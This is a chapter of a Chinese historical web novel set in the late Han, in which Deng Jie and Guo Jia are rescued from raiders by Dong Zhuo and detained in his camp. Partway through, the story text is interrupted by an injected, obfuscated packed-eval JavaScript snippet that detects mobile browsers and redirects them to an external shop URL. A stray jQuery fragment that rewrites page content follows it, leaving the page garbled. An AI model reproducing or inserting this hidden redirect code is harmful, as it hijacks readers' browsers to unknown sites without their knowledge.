文趣网 > 其他小说 > [三国]从后到帝差一个郭嘉 > 37.第 37 章
    邓结闻声,眼看那队骑兵距离他们不足百步,隆隆蹄声踏践心头,当下大骇:步卒不退,无异送死。

    她立刻下令:“将辎重车推翻点燃!赶紧撤!”

    企图靠马匹畏火的弱点拖延些许时间。

    亲卫们毫不迟疑,两人一组,硬生生将装载着衣物、药物、商品的箱子掀翻在地,点上火石,驾车便跑。

    暖风一卷,火舌蔓延开一道粗糙火墙,截断官道。

    然而火墙毕竟仓促,火势不够,那队骑兵冲到,只被稍拒开两丈,为首的下令:“退、冲过去!”

    前排数骑得令,催马扬蹄,当真带着骑兵队踏过火线,冒着热浪飞跃过来!

    邓结和郭嘉扒着车框紧张地望着后方的情况,眼看着他们的人马将被长槊追上,车队前方忽然响起一阵沉闷悠扬的

    “呜————”

    他们钻回车内,发觉车轮在土地上旋转着发抖,待他们从另一头探出身看,前方竟出现另一队黑骑!

    “不好!还有埋伏?!”邓结失声惊呼,下意识抓紧郭嘉的手。

    郭嘉被她攥得生疼,却顾不上抽手,只死死盯着为首的虬髯大汉。

    那人身量高大,体型魁梧,骑一匹通体赤红的凉州骏马,手持一柄寒光长槊拖地,一马当先。

    这支铁甲黑骑呼啸而过,一面玄色大旗列列随行,上面赫然绣着一个硕大的“董”字!

    与邓结的车错过时,那大汉刻意舞槊拍马:

    “杀——都给我杀了——!”

    他们还来不及回望,铁器碰撞的尖啸、战马相撞的闷响、人摔在地上被铁蹄踏过的惨叫,在车后混成一片。

    邓结的心都要提到嗓子眼,拉着郭嘉声音发颤:“那旗……他莫非就是……”

    这队黑骑如虎驱狼,三五下逼退黑山,待那大汉回来时,只在红色高马上睥睨着看他二人:“并州牧董卓是也!

    几位贵人,自何而来?此地不宜久留,且随我回营罢!”

    邓结握着郭嘉的手中虚汗淋漓,二人劫后余生地坐回车内,大口喘着气。

    董卓的大营扎在十里外的一处高地上,背靠山丘,前临官道,营栅粗壮,角楼林立,俨然一座临时的小型军镇。

    营中军士往来有序,铁甲铿锵,处处透着边塞精锐的肃杀之气。

    邓结一行被引至中军大帐,帐内宽敞,地上甚至还铺了毡毯,几张桌案分列两侧,上面摆着酒肉瓜果,烛火通明,虽然瞧得出有几分仓促,却相当有诚意。

    董卓已除去铁甲,换了件宽大锦袍,正盘腿坐在主位上擦拭他那柄长槊。

    中间空着三暗,其后还坐几名校尉裨将模样的人。

    见邓结等人进帐,他将长槊往旁边一搁,大手一挥:“坐!都坐!行军在外没什么好东西招待,几位贵人莫嫌怠慢。”

    卫兹率先抱拳行礼:“陈留卫兹,见过董府君。

    今日若非府君神兵天降,我等怕是已遭毒手。大恩大德,没齿难忘。”

    “卫子许!”董卓指着他大笑,“陈留孝廉,久有耳闻!连车骑将军和司徒的面子都不给,仗义疏财、不图俗名!幸会幸会!”

    他说着又转向邓结与郭嘉,目光在邓结身上停了一瞬,又移到郭嘉脸上:“这位小郎君面生,方才在车上与夫人握着手不放的,便是你罢?年轻夫妻,患难与共,倒是深情,不知是哪家子弟?”

    郭嘉起身,端端正正行了一礼:“颍川郭嘉字奉孝,见过董府君。这位是内子,南阳邓氏女郎,表字乐义。”

    “颍川郭氏、南阳邓氏?”他放下手中的酒盏,坐直了身子,“好啊,好的紧。”

    他起身,先走向邓结:“南阳邓氏?可是元侯后胤、邓太后同族那个南阳邓氏?”

    “正是。”邓结起身敛衽。

    董卓饶有兴致地上下打量邓结,从她头上盘髻,至身上收了袖的直裾短袍,再到腰间玉剑,愈发惊喜:“方才火烧辎重抵骑兵便是女郎的计策?计策虽好,终究难挡铁骑,不过这份勇气叫人钦佩。

    元侯当年为光武皇帝定策关中、统筹军资,走的乃谋臣路数,不想你们邓家的血脉里,还是有这样硬骨头。”

    “使君谬赞,若非使君及时赶到,我们几人怕是已被碾作肉泥。”邓结满心后怕,哪里还敢居功,向董卓举盏浅饮。

    董卓喜不自胜,拍了拍她的肩,又看向身侧的郭嘉:“当真是缘分!昔日贵门竟与颍川郭氏结缘,今天都叫我给救营中来了!”

    他说着直接拉起他的手来:“世侄有所不知!”

    这一声“世侄”确实叫在场的人“有所不知”了。

    董卓哈哈大笑,指道:“我父曾在颖川郡轮氏任县尉时,不过是个缉捕盗贼的粗官,于名士的颖川士族里抬不起头,抓了贼还要受万般掣肘。

    唯独你郭氏公房公为他送酒,以律政法典替他正名,因此我父对颖川多有向往,给我兄弟二人起字‘仲颖’、‘叔颖’!不想今日得见故人后裔,也算报了父亲当年的恩情了!”

    郭嘉一怔,郭禧虽非他直系至亲,却也是他郭氏骄傲,他当即举盏敬道:“那真是缘分使然了。”

    董卓毫不忌讳地顺手端起邓结案上的酒盏对饮,喝完便放下,叫邓结略显尴尬,他自己又走向蔡琰卫宁那头。

    “这位女郎竟是蔡伯喈之女?”

    蔡琰端坐席间,面上并无惧色,只微微欠身,敛衽一礼:“妾身陈留蔡氏,随夫君返乡途经此地,多谢董公搭救。”

    “蔡氏、蔡伯喈之女!子许说了,你们二人欲回河东卫氏!”

    董卓拊掌大叹,转身对帐中诸将道,“听见没有?蔡邕蔡伯喈之女,眼下便在我们帐内!

    蔡伯喈乃海内大儒,通经史、善辞赋,天下谁人不知?

    我在凉州时就常听人说,蔡伯喈的学问是当世第一,只可惜因言获罪,流落在外,蹉跎至今。

    今日见到他的女郎,你们瞧瞧这气度——方才在外头被骑兵追着跑,进了帐还能端端正正坐着说话。

    这便是蔡公教出来的世家女公子!我西凉那些儿郎,大字都不识几个,哪里教得出这样的子弟!”

    他又回身对蔡琰道:“若是此番我能顺遂进京能,定要向朝廷上疏,将蔡伯喈请回雒阳,重掌太学,为我大汉修书讲学!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746478|207768||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    蔡琰闻言,总觉得哪里听得人不舒服,但毕竟他是在推崇自己父亲,还是欠身行礼道:“家父身处江海,若知使君如此垂青,定感怀在心。”

    席间气氛看似被董卓的热情烘托得极为融洽,唯独卫宁的面色却越发苍白。

    他本就体弱,又受了骑兵冲阵的惊吓,此刻还绞着被绊住行程的烦闷,眉头微蹙,拱手问道:“使君高义,可宁有一事不明。河东郡这两年匈奴与白波猖獗,使君既任并州牧,怎不在我郡内平叛,反在河南尹安营扎寨?”

    此言一出,饶是蔡琰高傲都不禁在案下攥紧他的衣袖,卫兹更是冲他狠狠使眼色。

    帐内其他将士神色发紧,董卓却扶着自己蹀躞往主案踱步,语气微沉:“河东卫氏的公子,这是向我问罪来了?”

    他也不怒,坐下席摸了摸手边的长槊,“公子不懂朝堂之事,乃是平常。那皇甫义真自诩清流,看不上我,他爱打匈奴,合该让他打去!我屯兵在此,乃是受太后密诏的!”

    他对空拱了拱手,“太后叫我在哪,我便在哪,我可是老老实实的大汉纯臣!”

    “太后?”郭嘉有些诧异,“董太后乃河间董氏,竟与使君也有亲缘?”

    董卓抬眸环顾了一眼堂下,有些意外:“哦?你们还不知道么?

    天子已经驾崩了,董太后政令不行,如今宫里掌权的,那是何太后。”

    “什么?!”

    此言一出,堂下众人皆惊,不禁异口同声。

    “驾崩?!何时的事?”邓结看了一眼郭嘉。

    “四月丙辰日,就前两天。”董卓悠然道,“何太后心善,不愿罢免那些个宦官,大将军这才秘密下令,拟太后懿旨招我入京,诛杀阉竖。

    可惜了,当真来了又不让我进去,现在他们自己定然在里头斗得你死我活,却叫我在外面游荡。

    我不敢不从,自然只能屯兵此地了。”

    郭嘉虽然知道天子驾崩是意料之中的事,只是当真听见还是颇为震动,毕竟现在可是局势最为混沌的时机。

    他按下心中波澜,想起那些蒙面的黑山,顺着董卓的话头骂道:“原来如此,阉竖祸国,使君奉命讨贼,实乃顺应天意。

    不过方才那些贼寇,装备精良,行止有度,实在不似普通的黑山贼匪,倒像是……”

    “哼,甚么黑山伯?!”董卓一听这个,怒火更甚,重重拍案一掌,“那就是丁原手下的并州狼骑!

    丁原那匹夫,屯兵孟津,私下里却命人假扮流寇,在京畿周边大肆劫掠百姓,无恶不作!”

    “果是不安全,不如使君助我们早些脱离河南尹,好让卫公子蔡夫人归乡如何?”郭嘉趁势提道。

    董卓眼睛转悠一圈,目光扫过卫宁苍白的脸色,露出和煦的笑容来:“那不成!

    你们瞧瞧卫公子这身子,可经不起远途折腾。方才你们辎重可是被烧了?这一路北上,还有匈奴、白波等着,我又要留守此地随时候命,不能擅离。

    不知卫公子什么病情?我营中药材也不少,干脆诸位贵人就在我营中多留几日。

    待时局清明,我亲自护送你们去河东!”